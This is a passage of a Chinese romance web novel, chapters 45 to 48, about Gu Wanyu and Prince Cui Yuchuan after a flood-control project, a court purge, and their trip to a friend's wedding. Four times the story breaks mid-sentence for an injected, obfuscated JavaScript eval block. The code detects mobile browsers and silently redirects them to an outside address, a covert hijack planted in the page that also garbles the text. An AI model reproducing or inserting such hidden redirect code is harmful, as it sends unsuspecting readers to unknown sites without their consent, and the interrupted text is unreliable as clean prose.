她的视线还黏在崔煜川那张令她心动的脸上,却见到眼前人皱了皱眉,突然凑上来寻她,犹嫌不足似的,又捉住了她不放。 唇上传来更加柔软的触感,温柔又小心地对待,顾婉妤脸红了,她紧紧闭上眼睛,害羞地不敢面对。 在斑斓的夜色和迷蒙的梦境交界处,他们亲密相拥。 过了好一会儿,等顾婉妤睁开眼睛,却不见了崔煜川的身影,上京的灯河依然在静静流淌,但只留她一人在原地。 顾婉妤四下看了看,突生一种寂寞之感,手足无措地站在原地,不知自己该去往何方,正在这时,她感到有什么温热的个头很大的动物在拱着自己的手臂,一种熟悉的感觉。 顾婉妤迷迷糊糊地从梦中醒来,才看到不知何时,她拴着的马居然自己解开了绳子,跑过来找她。她摸了两下驯服听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15085732|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话的马儿,自言自语道:“什么时辰了……我得去福源堰了……” 顾婉妤拍拍衣服上沾着的草屑,骑上马往主坝小跑而去。 沿河而行,可以看到随着下游关闸,一路上水位涨势明显,找不到出口的江水拍打在两岸,传来阵阵涛声。 远处的福源堰主坝横跨两岸,已经依稀可见江水从其上流下,形成高低错落的一道道瀑布,蔚为壮观。 顾婉妤策马而来,离得越近,便听到如暴雨般的哗哗水流声,从高处坠落,砸在江面上,声势浩大。 她仔细看去,原来自己睡得太久,主坝分水的测验已经成功了! 三等高度错落有序的水坝,将汨江上游来的江水呈阶梯状引入麓北平原,平日里江水是无法够到最高的坝体的,它可以阻拦突然到来的大量洪水,中坝则进一步导流。而低坝数量多,分布在江中能起到缓冲降速的效果,并将一部分水引流到支流去,日常起到灌溉平原农田的效果。 现在低坝都被淹在上涨的江水之下,是模拟了洪涝时候的情况,于是高坝和低坝则发挥了效果,如他们预先设计的一样。 岸边人头攒动,好像整个绥金城的人都出动了一般。也对,福源堰本就是倾整个绥金之力打造而成的工程,与每个人都息息相关,合该百姓们如此激动、欣喜。 她还听到了锣鼓声、喝彩声,直到走到近处,才看到人群中居然还有舞狮的队伍,金色的狮子摇头摆尾,表现十分精彩,就好像庆祝过节一般。 她听到旁边有人窃窃私语的声音,言辞中提到了“杨知府”,不禁下了马,好奇地上前询问,才知道原来这舞狮队还是杨知府送来庆贺的。 这老狐狸,城中最艰难的时候他在家告病,还倒打一耙说是被他们气伤了身子,好久没出现。现在福源堰事毕,他又跑了出来,难不成还想分一杯功劳? 顾婉妤冷笑一声,不再看这舞狮表演。她牵马往前走,看到最前方是官府的队伍,赵判官、华师傅、还有一些在赈灾点与她相熟的官员,都悉数在列,好多熟悉的面孔。 被簇拥在中间的,正是崔煜川,他凝望着河川,心里不知道在想些什么,看起来十分认真严肃。 顾婉妤一看到他,突然想起来今日在树林里做的那个梦,在梦里自己行事如此大胆……真是有些过于放肆了…… 既然已经见证了福源堰的顺利竣工,此行便也可以功成身退,顾婉妤不欲上去打扰他们,也实在有些无颜面对崔煜川,于是打道回府了。 谁承想,崔煜川居然好像与她有心灵感应一般,莫名其妙便回头看了一眼,正巧和顾婉妤穿越人潮,对上视线。 这么巧? 顾婉妤便笑着举起手,和他打了个招呼,只有她自己知道,在和这双与梦中别无二致的漆黑眼眸对上的那一刻,她无法自抑地脸红了。 崔煜川向她招手,示意她过去。 45. 西风送凉(16) 顾婉妤踌躇片刻,看着崔煜川在远处一直盯着她,实在不好转身就离开,于是才走了过去。 她走到崔煜川跟前,也不抬头,跟做了什么坏事一样低着头与人说话:“我就来看看,没想打扰你们的。” “顾姑娘,你可是我们绥金的大恩人,怎么称得上‘打扰’呢?”华师傅爽朗地笑道,“你们要是走了,我还怪舍不得的,感觉整座城都要变冷清了!” 从上京来的师傅们与当地的工匠早就打成一片,称兄道弟,华师傅有这样的感受也在所难免。有人笑他:“那你跟着我们也到上京去,给皇宫当差,保你衣食无忧!” “那不行,我更受不了你们的条条框框。”华师傅话音未落,就被几个师傅围起来作弄,强拉着他说要把他带走。几个年近不惑的人闹成一团,吵吵嚷嚷,在旁人看来似乎幼稚无礼,熟知他们的人见了却是会心一笑。 “大家都知道我们要走了,”崔煜川在喧闹声中走近顾婉妤,与她低声说,“终于此间事了,还有什么想做的吗?” 顾婉妤垂着的脑袋微微抬起,眼珠转了转,快速地用手指了一下远处的舞狮队。 “嗯,”崔煜川应道,“这事你放心。” 他两现在的默契已经到了不用言明也能读懂对方意思的程度了,顾婉妤点点头,颇感欣慰。 然而,她还是不好意思抬头直视崔煜川。 也正因如此,她没有见到,崔煜川在面对她时,神情同样有些僵硬。 两人一个低着头,一个仰着头,默默无言了好一阵,又被众人簇拥着到城里摆席庆贺,算是帮他们解了围。 接下来的日子,便是按部就班地准备着离别。他们与这连月来逐渐熟识的人们饮酒欢宴,与老百姓闲话家常,置办回京路上的行囊。不舍之中,心中又有许多期待。 毕竟这次是功成而归,回上京的队伍中人人都在期待着回京后能得到怎样的奖赏和荣誉,就连顾婉妤这个编外人员也不例外。 当然,其他人有这种想法很正常,但什么都没做的李行也等着回去领功,这就令人很不爽了。崔煜川看在眼里,不动声色,实际心中早有权衡。 时间飞速过去,很快便到了预定的返回时间。 虽然准备工作高调地做了很多,但真要离别时,回上京的车队是在夜半时分悄悄出发的。 顾婉妤掀开车帘朝外看去,只见一片红色的火把蜿蜒,沉默地从城中横平竖直的主道一路延伸向城外。城门口的士兵们为他们开启午夜关闭着的城门,站在哨楼上的卫兵也向着下面挥手告别。 车队渐渐驶离绥金,让这座巨大的北方城市逐渐成为地平线之上隐没在黑暗中的一片模糊的影子。 顾婉妤独自坐在车里,伴着马车有节奏的摇晃声,摊开了稿纸。 自从来到这里,她写作的灵感就仿佛旱季枯竭的水塘,泛不起好看的波澜,出了几期小报,内容基本都是如实记述被采访者的真实话语,稍作加工,并不需要什么很强的文字功底。 顾婉妤从未为此感到困扰过,她很清楚,自己是因为太过劳累,才失去了写作的心力。 而现在,坐在这摇晃的马车上,伴着一盏豆大的灯光,又是深夜困倦时分,她却突然有了写作的欲求和灵感,这种感觉十分奇妙,又稍纵即逝,但顾婉妤抓住了。她趴在书箱上充当桌案,笔下流畅地写出一列列的秀气小字。 她突然想要写的,并非是如实记录绥金故事的传记,毕竟为了做小报,她已经写过很多了。她现在写下的,是她心中突然产生的一个不存在的人物,这个人应当不是本地人,而是从外地来的,非常年轻,满怀热情地想要到这座大城中开创一番生意。 他应当原本就有一些身家,但初来乍到在繁华的绥金仍显得困窘,只得在城中较为偏僻的地方盘下一间铺子。原本仅仅是这样简单的人生,但他的生意做的却并不顺利。 他这时才发现,自己还是想得太简单了,要做好生意,他得周全地对待官府,却发现从上至下层层的盘剥,那商业赋税几乎压得人喘不过气来。 另一边,市场上又有许多竞争对手,像地头蛇一般抹黑他的商誉,毫不讲理。 年轻人艰难处事,与商会周旋,与官府打交道,又想尽办法推广自己的铺子。他遇到了许多事情,成长的速度也很惊人。 后来,他才明白,原来这绥金城大大小小那么多成熟的商户,都是这样成长起来的。 在绥金立足的过程中,他还遇到了自己的心上人,是一名大家闺秀样的秀美女子,但他们身份阶层有差,女子出身世家,他只是一个卑微的商人,谈何喜爱呢? 幸好,他还有自己的事业,这使他能忘掉感情的不顺。两人兜兜转转,最终还是没能在一起。 写到这里,顾婉妤下意识地伸手,勾到了自己脖颈上的那枚蓝宝吊坠。 虽然人们总讨伐故事中的缺憾,但顾婉妤发自内心地觉得,故事的走向该是这样的,她便这么写了,没有丝毫犹豫。 当这个年轻人逐渐年长,从而立到不惑,再到古稀,他也成为了一方大商,成为塑造绥金繁华外表的一份子,有了自己的家庭和子孙后代。这时方知虽世间百态,大多数人的人生走向却是类似的,无论自视多么天资过人,均是芸芸众生,只是极少数者能跳脱出来,或搅动风云,或超脱世外。 越写,顾婉妤越感知到自我,原来在镜麓和绥金的种种经历,让她对世界的看法有了更进一步的变化。这些文字仿佛是在叩问自己的内心,令她清晰地意识到,自己是带着冷静的目光审视着真实的人间。 她缓缓呼气,将洋洋洒洒的手稿收进书箱。 这个故事太真实了,真实到无法使人提起兴致,想必也不值得问世,便只当做练手习作藏起来吧。 她再度挑起帘子看向窗外,夜幕沉沉,近处只有火把烈烈的红光跳跃,而远处却是一片宁静的白色月光,泼洒在汩汩流淌的河上。马车队伍沉默着,只有马蹄叩动大地的声音伴着车轮声不眠不休。 便是这样安静地一路向南。 天蒙蒙亮的时候,顾婉妤又被一阵喧嚣声吵醒了,她本就睡得晚,如今突然惊醒,还很不清醒,纯靠着担忧有危险的心情爬了起来,掀开帘子一角向外看。 随着布帘上移,她首先看到的就是地里的农田,农田中庄稼长势喜人,已经是丰收季节,高耸茂密的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15089727|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片片亟待收割。 再往上掀开才看到,原来是车队正路过村庄,村里人赶农忙,一大早便起来打麦子,正巧看到回上京的队伍,他们急得在路边大喊,要官爷们留步,捎上些吃食再走。 这些村庄大部分都是洪水之后重建的,村民们有些是逃难到绥金城,在那里接受了一段时间的救济,有些是应召到河场工地,亲手修建的此地水利。从上京来的这支水利建设的队伍与他们彼此之间都很有感情,于是村民们在路边喊,师傅们在车里喊,一边让他们一定要留下来,一边让他们赶快忙自己的,不必介怀。 顾婉妤趴在车窗上,含笑看着两边人互相喊话,这时居然有人认出来了她,也冲着她喊:“顾娃儿——” 顾婉妤喷笑出来,她知道这是谁了,这大叔满嘴麓北土话,是他们棠湖工地里面的一名“老将”,他一个人带得工地一群人对她的称呼从客客气气的“顾姑娘”变成“顾娃儿”。 顾婉妤向大叔挥手:“大叔——多保重——我们回去啦!” 清晨柔和的风将她的声音送往田间地头,又惊起几只河边的鹭鸶,扑簌簌地低飞。 车队驶离村庄,将那些动人的挽留留在身后,又走了好一会儿,车队才停了下来稍作休息。 崔煜川过来找顾婉妤,神神秘秘地要她跟他走,两人走到一辆马车背面无人的角落,崔煜川从背着的随身行囊中掏出两个白色的大包子。 顾婉妤吃了一惊,又好笑又无奈。 “你笑什么,别人吃的都是干粮,让他们看见不好,快点吃。”崔煜川尴尬地咳嗽一声,把包子硬塞进她手心。 崔煜川在工程上干了几个月,作风愈发接地气了,这世上哪有富贵王爷,连吃口包子都要避开人的? 但顾婉妤偏偏很喜欢崔煜川这些特殊的细微之处,令她觉得安适、熨帖。 她摸摸包子还带有些温热的温度,便拿了一个,另一个给崔煜川推回去:“你吃。” 崔煜川接过,也有点醒悟过来,感觉十分好笑:“像不像那种贫乏的小夫妻,包子都舍不得吃,只好掰两半,你一口我一口。” 像倒是像,但…… 顾婉妤垂下眼睛啃包子,不好意思接这话。 崔煜川见她害羞,也知道自己大抵讲话有点轻浮了,不好意思地轻咳两句,默默不语。 实际上,在面对两人之间若明若暗的感情时,崔煜川和顾婉妤心中的所思所想是完全不同的。 对于顾婉妤而言,她并不很看好这段感情,于是这个素来直爽活泼的女孩,反倒要一退再退,即使动了心,也只敢在梦中表露。 而崔煜川,他则以为两人之间只差一层轻轻一碰就能捅破的窗户纸,只不过出于君子心态,他止乎于礼,只等一个合适的时机,再落实一切。 这也不怪崔煜川过于自信,实在是……顾婉妤不都主动亲他了吗?还不允许他暗暗欣喜得意了? 就这样,两人各怀心思地对着偷吃了包子,便回去马车。崔煜川总想和她多待一会,但男女毕竟有别,此处人多眼杂,他只好压抑住这份蠢蠢欲动的心情,与她道了别。 他想,等回了上京,再多与她相见吧。 46. 玉树琼枝(1) 只是,事并不如崔煜川所愿,等两人真回到上京之后,便没有时间见面了。 崔煜川一回京,便被召到宫中面圣。那夜御书灯火常明未息,掌事太监战战兢兢,只因圣上发了好大的脾气,不知煜王爷带来了什么样的消息。 但等到崔煜川踏出御书房,便是加官进爵的赏赐。煜王非但没有被圣上的怒火殃及,反而还成了皇帝面前炙手可热的红人。 此后朝中风向便转,臣子们皆是人精,愈发把煜王爷架起来捧得很高,每次见面都大夸小王爷年少有为。 对崔煜川来说,他虽珍惜自己辛苦挣来的功绩,却不爱这股捧高踩低的官场风气,觉得耳边颇不清净。但如今有太多事等待他收尾,也只好跻身朝堂复杂的浑水之中,去做这桩桩件件的大事。 头一件便是大景全国上下彻查铁器市场,若发现有倒卖官矿及军器监下属机构所制武器、装备的,悉数重罚,并必须追根溯源,查出倒卖源头。 其二,是整顿绥金官场。绥金地处麓北,是北方缴纳赋税的重镇,绝不可出现满城贪腐、侵占国财的情况。 其三,是皇帝主动从自己的私库中拨出银子,叫他去联系打制一批精良武器,替换如今军队中使用的那些不良品。 其四,是李行此人,作为皇帝素来厌恶的前朝阉党,他本该谨小慎微,却一而再、再而三地触碰皇帝底线,皇帝便令崔煜川想办法将李行与杨知府他们打成一派,找出能令他彻底翻不了身的罪名。 这几件事之间均有关联,崔煜川想,若只是以贪腐敛财定罪,还远达不到皇帝暗示的他想要的效果,看来还是应当往插手军政,通敌卖国的方向考虑。 这也并非是崔煜川夸大其词,事实已经证明,地方贩卖官矿、武器的行为,正是大景戍边战争被连连击溃的重大原因之一,而李行从地方官员中间敛财获益,不加悔改,也算罪有应得。 要做成这些事,光靠他的力量是不够的,需要在朝中选拔可用之人,但崔煜川没有在春风得意之时忘了形,他知道自己的身份并不适宜在朝中结交朋党,要向皇帝举荐哪些人,对他来说是一个如履薄冰的问题。 正因如此,崔煜川忙得没有时间做别的,他一团乱麻、焦头烂额,偶有空闲不免也觉得有些可笑,如今虽然风光,却并不是他想要的日子,他只能尽力做好分内之事,将麓北牵扯到的这些尾巴梳理干净。 而另一边,顾婉妤那里,却是无忧无虑、吃得好睡得好。 她虽是平民百姓,但在绥金立了大功,照样能与工匠师傅们一样,领得丰厚的奖赏,官府还在她家大门上挂了“有功”的红绸,以示表彰。后来被顾婉妤解下来系到她娘的摊位上,又招来食客们的好一番询问和夸赞,让顾婉妤的爹娘面上有光。 现在小报只有她一人经营照看了,但幸好名气已经打出去,源源不断的投稿纷至沓来,是不愁没有内容可以报道的,只是需要她每日到印坊去盯好印刷,不能像往常一样偷懒,四处游逛玩耍、闲话家常。 她常与镜麓通信,知道阮竹姐和流火君那边的状况越发走上正轨,虽然流火君还是百年镜麓中最不靠谱的一位庄主,但好歹他听阮竹姐的话,有她坐镇,自是闹不出什么大乱子,这样看来,实际镜麓已经听令于她,也算是应验了当初说阮竹君会是下一任庄主的流言。 瑜瑾君那边,则是一直联系不上,不免令人有些担忧。流火君想办法打探消息,均是一无所获,更令人感到奇怪。他们几个人只知道瑜瑾君的家事有些复杂,他与家中关系不太好,却不清楚具体的情况,怎么会一去不返,连音信也无了呢? 不过他们惯来信任瑜瑾大哥的才智和能力,相信他会照看好自己,不管遇到什么都逢凶化吉。 就在顾婉妤过着平静安宁生活的这些日子里,朝中风波却是不断,连民间也有所耳闻,朝中势力格局发生变化,煜王竟然成了权势漩涡的另一中心。他向来不理朝政,富贵闲散,如今主动躬身入局,拔擢了一批官员为皇帝所用,不免令人颇感微妙。 顾婉妤却看得清楚,崔煜川这是被皇帝当枪使了,果不其然,不久之后,内阁就进行了一场清洗,有几名内阁重臣被治了罪,崔煜川交好的几名官员成为了新的阁老,这就能看出绝对是皇帝的授益。 而李行也被打入大狱,这名风光了一辈子的两朝后宫总管、特务机构秘应司的老大,其运势也算终于走到了尽头。皇帝亲自下旨将其投入监牢,却不明说其罪名,反而更令人心惊,朝中民间皆是议论纷纷,都觉得李行一定是犯了天大的罪行。只有崔煜川知道实情,李行在绥金其实更多是犯的失职之罪,皇帝要以雷霆手段治他,终归是因为他多年来所做的恶事累加而致。 严惩李行,这对朝廷官员们以及民间来说,均是喜闻乐见的好事,毕竟秘应司手上血案累累,冤枉过不少好人,在朝中和民间都安置了大量眼线,往往以口舌上的过失便能治一个人的罪,极为严苛。秘应司的老大没了,秘应司的势力必然会削弱。 后来,顾婉妤又听说,各地查出大量官营武器装甲流入市场的消息,甚至这种情况早已经形成一股风气,有着成熟的经营模式,最终受益的便是地方官员。 此消息一出,便开始全国的大清洗,一时间全国上下官场人心惶惶,百姓却乐得看热闹。 揽月楼的云锦姐姐也在不久后到访,称顾婉妤办事手段当真厉害,她没想到顾婉妤真能把这件事做成,甚至闹出了这么大的动静。 “与我没什么太大的干系,基本都是崔煜川做的。”顾婉妤连忙摆手,真是令人羞赧,她哪有那么大的能量,她实际所做的只是整个环节中的一小部分。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093052|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“不论如何,我的目的达到了,我总该谢你。” 云锦窈窕盈盈的身形立在院中屋檐投下的阴影里,向顾婉妤深深地低伏下去。这个场景使得顾婉妤头晕目眩,她赶着扶起云锦身子,只觉脸颊烧红,像偷了别人的功劳一般。 云锦姐姐……当真是……令人无法应对的一名女子! 好不容易送走了她,顾婉妤深出一口气,方才放松下来。不免又感叹,云锦虽为艺倌行首,置身风月之地,却心系国家,胸中有大义,是值得人敬佩的。 实际上,云锦对顾婉妤道谢,绝非谢错了人。顾婉妤所做之事,都是实在地推动了事件进展的关键之处。尤其是她曾深入绥金都作院的库房中,为官营精矿所做的标记,在后日里通过地下交易流向了全国各地的各大黑市。又被专门进行案件调查的官员们翻出来,形成了一道道可被追溯的清晰脉络,最终成为给杨席、杜林峮、李行等人定罪的关键证据。 时间一晃而过,顾家庭院中栽培的绿植落了叶,空气中逐渐带上冰冷的味道,便知又到一年尽头,冬的步伐轻轻走来,又在一夜之间席卷枝头。 秋冬交界的时节,可称肃杀,正也是全国官场清洗收尾的落幕时分。几家欢喜几家愁,民间却是不在意的,市场愈发热闹,农忙完的人们也开始欢庆着为年节做准备。 就在麓北的雪信传到上京时,顾婉妤也收到了镜麓寄来的红色喜帖。 “成亲?!” 顾婉妤翻着这张喜帖来回地看,她家阮竹姐要和流火君办成亲的仪式了! 顾婉妤心中有诸多问题,例如阮竹姐现在喜欢流火君了吗?他们两人是真心实意还是为了镜麓庄的发展?瑜瑾大哥还没有音信,这么大的事情不告诉他是不是不太好? 成亲…… 这个消息太突然,打得她一个猝不及防、手足无措。顾家爹娘知道了,却露出过来人那样心照不宣的微笑,只对她说没事的,只管去祝福就好,有时候感情这种事,是说不了那么清楚的。 于是,镜麓之行再一次提上日程。只是这次前去没有任何负累和担忧,只管热热闹闹地赴一场喜宴,想必一定很有趣味。 顾婉妤现在在爹娘面前很有信誉和底气,她说要独自去,爹娘都很放心。但反而是顾婉妤自己的心中生出一丝不满,时间过去了这么久,崔煜川即便再忙也该能抽出空休息,他却一直不来见她。现在阮竹姐和流火君要成亲了,不知道他是否知晓这个消息,是否愿意同她一起去镜麓见证这两位亲密好友的人生大事? 不满之余,顾婉妤心中也有些“果然如此”的悲哀,她知道两人差距过大,终究不是一路人,不该强求对方。 就这样五味杂陈地置办了路上的行囊,并冥思苦想地为朋友们准备了贺喜的礼物,顾婉妤安置了一切,独自出发了。 47. 玉树琼枝(2) 顾婉妤驾驶的马车滚动在冬季黑色的坚硬土地上,留下一道浅浅痕迹。她穿了一件毛绒绒的白色绵袄,衬得身形圆润可爱,驾车难免有寒风扑面,她便缩在衣服中,越发像一只团成一团的玉兔。镜麓天寒,娘非要她把朝廷赏赐的厚实披风穿上,火红的披风挂在身后,又衬得面若桃花,招人喜爱。 这次也算是盛装出席阮竹姐的婚宴,她的披风是治水之功换来的奖赏中的一件,不仅华贵,更重要的是象征了她的功劳,她打算好好给阮竹姐炫耀一下。 去往镜麓的路程,她已经很熟悉了,现在一路过去,冬日的景色与当初盛夏时分的截然不同,纵然天寒地冻、百草凋零,但时有冰雪妆点,远山如黛、烟云缭绕,也别有一番美丽。 路过村庄集市,她停下来歇息,到道旁茶摊上点一壶红茶,二两汤饼。茶摊人不多,有一个白衣的公子背对她坐着,只看身形就有些熟悉。顾婉妤多看了几眼,没想出来她认识的人中有谁这个时间会出现在此地。 茶水和吃食上的很快,暖融融地在冷冽的空气中散发热意,她埋头吃着碗中的食物,突然听得面前桌椅碰撞的轻微动静,有个人坐了过来。 顾婉妤抬起头,当即愣在了原地,裹着毛裘大衣、一身素白的崔煜川正坐在她对面,悠闲地对她微笑。 “崔煜川?!”顾婉妤叫出来,“你怎么在这里!” 崔煜川看顾婉妤又惊又喜的表情,十分得意地抱起手臂:“与你一道,我也要去镜麓吃席。” 原来他得知了从镜麓传来的婚讯。顾婉妤高兴几霎,突然又开始不爽起来,这个人消失许久,连个音讯都没有,现在为了去镜麓才突然出现在自己面前。 这又算什么呢。 顾婉妤垮下脸来,埋头于碗中,不愿意搭理他了。 崔煜川见她嘟起嘴,只露出个圆圆的发顶给自己,大抵也明白自己太过分了。他凑近她,压缓音调,软声讨饶:“这么久不出现,是我的错,还请婉妤饶我一次,行吗?” “你之前已经有过前科!”顾婉妤抬起一双圆眼,怒气冲冲,“在上京总是见不到你。” 崔煜川露出个落寞的表情:“我才从外地回来,替皇帝整治铁器市场,又耽误了好多时日。听闻你今日出发,我连忙从别处赶到这里等你,十分害怕错过。见到你,我的心才安定下来。” 两人在同一张桌子上凑得很近,顾婉妤原本还气呼呼地瞪着他,越听却越红了耳朵。可恶!他故意卖惨扮弱,还说些让人误会的暧昧的话!真是狡猾! 崔煜川看顾婉妤脸红红的,心中十分明白她的心软,便乘胜追击,放出个杀手锏来:“我辛苦当差,赚了好多银子,就去把匕首赎回来了。” 顾婉妤惊了一跳,见崔煜川从腰间掏出那银色的弯月匕首,她一眼便能认出来,崔煜川绝没有糊弄她,这就是她当时在绥金的拍卖会上当掉的那把,上面还有她儿时因使用不当留下的痕迹。 崔煜川将这匕首赎回来之后,又做了好一番保养,将其擦拭得闪闪发亮,更显出其薄如蝉翼的刀锋与优美流畅的线条,一看便不是凡品。他将匕首珍重地捧在掌心,双手向顾婉妤奉上:“完璧归赵,请婉妤检查。” 说不感动是不可能的,这匕首是她的开蒙师傅所赠,对她来说意义非凡,若不是为了给崔煜川买下那件铠甲,她是万万舍不得卖掉的。而崔煜川将她的情谊放在心上,用正当工作得来的俸禄亲自赎了回来,更何况他还曾送她玉佩和蓝宝吊坠,都是极其珍贵的信物,这样加起来,他可是送了她太多美好的礼物。 顾婉妤彻底消气了,她接过失而复得的匕首,翻来覆去打量,还是怎么看怎么喜欢。 崔煜川含笑看着她的动作,娓娓补充道:“这么久不联系你,确实是我的过错,这是我送再多东西都无法弥补的。只是皇命难违,我确实忙到一刻出宫放松的机会也无,后面更是全国各地到处去走访巡查。我母亲那边……也总是不得安生。但我保证,我会把这些困难都解决好,不再出现类似的情况。” 顾婉妤点点头:“你的承诺我记住了,以后可不要食言,否则我真的不会原谅你了!” 崔煜川正色道:“好,无论如何麻烦,我都会解决,不会从你身边消失。” 听到他斩钉截铁的话语,顾婉妤心中好受多了,她将匕首递给崔煜川:“这个当初送给你了,现在还是你拿着吧。” “以后也是我的?不会舍不得?”崔煜川逗她。 “当然。”顾婉妤豪爽地拍拍桌子,“一掷千金的感觉可真不错,没想到还能再来第二次!这是赏你的!” “下官接赏。”崔煜川也配合她双手接过。 两人又歇息了好一阵,随意地聊了许多近日的见闻,便再度出发。这次是崔煜川赶车,他孑然一身,连行囊包裹和马匹都没有,看来的确是被巡查的队伍临时放在了这里。顾婉妤笑话他的窘迫,他也怡然自得,全盘接下。 顾婉妤坐在他旁边,骄傲地说:“没关系,这次我照顾你。” “好。”崔煜川笑答。 两人说说笑笑地赶车,配合默契。崔煜川不知道路,所以方向都由顾婉妤把控,两人交替换班,比起一人的疲惫更加轻松愉快,果然行在路上,需得有个好旅伴。 几日后。 拜别镜麓镇好客的旅店老板娘,两人赶着马车上了镜麓山。此时正是雪后,林间山路已经被厚厚的雪被覆盖,除了马车驶过的痕迹,便是一些小动物的脚印,十分可爱。果然冬日的山中景观别有一番趣味,阳光映在林梢结成的冰晶上,散发着七彩的光,晶莹剔透,形成一片冰晶的天地,如斯美丽。 往后山去的路上,照例路过前山山门前的天梯,本就险峻的天梯如今被冰雪覆盖,已经无法通行,只余下半山的雪白与阳光交相辉映,山门处有雾气弥漫,恍如仙境,又好像一副泼墨而成的山水画。 崔煜川头一遭来镜麓,对着镜麓的美景赞不绝口,说山中岁月好,真想在这里长住一段时间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098051|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果可以,顾婉妤也想呢。但她知道对崔煜川来说,能抽时间出来几天已经很是奢侈,还是得先珍惜眼下的相处。 马车一路小心行驶,顺利地进了镜麓庄,一见到镜麓庄的大门,顾婉妤便发觉了此处给人的感受已经与上次完全不同。 上次正逢天下大比,镜麓庄内的弟子人人严阵以待,面色严肃认真,拿出了十成十“天下第一庄”的威严和风度。但这次,庄内的气氛和风格松散了很多,除了有门口张灯结彩、装饰吉祥喜庆的缘由,主要也在于镜麓弟子们的气质柔和了很多,路上遇到的人大多面容随和、眼含笑意,甚至大门口还有小朋友们在追逐玩耍。 这在以前是顾婉妤绝对不敢想的画面,镜麓庄经历一番血战,如今终于是重获生机,甚至变得更加温馨团结,想必阮竹姐和流火君在其中做了许多努力,而镜麓弟子们一定也因为天下大比之中所遇到的种种变故转变了心态,放松了对权势和江湖地位的追求和执念。 过刚易折,顾婉妤认为他们现今的转变是一件好事。 阮竹姐早已给庄内弟子们打过招呼,于是顾婉妤和崔煜川得到了十分热情的招待,作为成亲仪式上最重要的客人之一,一切衣食住行皆按照最高规格对待,崔煜川见到他们所宿住的漂亮小楼及精致庭院,楼内居然还有从山涧引入的自然温泉,居然说出,皇帝出访的行宫也不过如此,惹得为他们带路讲解的镜麓弟子止不住地笑。 毕竟,这话可是皇帝的弟弟煜王爷说出来的,就很有可信度,看来他们镜麓庄的确很有本事,值得本庄弟子自豪。 一边赏雪景,一边泡温泉,这大概是神仙才能有的享受。崔煜川请顾婉妤先去,她也不客气,好好地泡了一通,解了旅途的乏累,又美美地睡上一觉。一觉醒来,楼外屋檐下已经飘起鹅毛大雪,雾气升腾,雪色与月色正浓,如梦似幻。 顾婉妤裹上又厚又软的衣服下楼赏雪赏月,捧着暖炉坐在暖阁中,周遭一片安静,只有雪静静落下的声音,以及炉火中柴炭燃烧发出的噼啪声。 这是何等的神仙日子。 身后传来脚步声,顾婉妤回头,看到崔煜川捧着个木盘过来,木盘上搁着酒盅和精巧酒杯,原来他也没睡,还来找自己喝酒。 崔煜川穿得随性,一身白色衣裳简单系起,露出一小片如玉石般白皙的胸膛,在炉火的映照下发出暖光。他眼神温柔地看着顾婉妤,分明贵为王族,却像寻常民间男子一样愿意放低身份哄他开心:“何故一人在此,姑娘可愿同阿洋小酌几杯?” 顾婉妤看着崔煜川的脸,恍然才发现此人的相貌又随着时间的流逝变得更加俊美,配合温柔的神情,整个人犹如芝兰玉树,有绝代公子之色。这天下男子中最绝色的容颜,恐怕便是这样。 原来崔煜川稍微成熟一些,杀伤力便这样强。简直是山中的妖精,午夜时分专门来勾引她的。 顾婉妤深感中招,她侧过脸,不肯将自己眼中的迷恋显露给对方,故作镇定大方:“喝!” 48. 玉树琼枝(3) 顾婉妤这一嗓子,惊起林间簌簌几只飞鸟,也惹得崔煜川轻笑出声。 还不等他调侃,顾婉妤自己就忍不住尴尬地侧过了脸。什么叫欲盖弥彰?这便是了。 崔煜川在她身后默默地给杯子斟满酒,才开口唤她:“尝尝吗?听说是镜麓自酿的女儿红,我将它烫热了,又暖又甜,正适宜冬季饮用。” 顾婉妤偷偷偏头观察几眼,见崔煜川神色正常,没有再笑话她的意思,才转回来,捏起木盘中精致的酒盅。 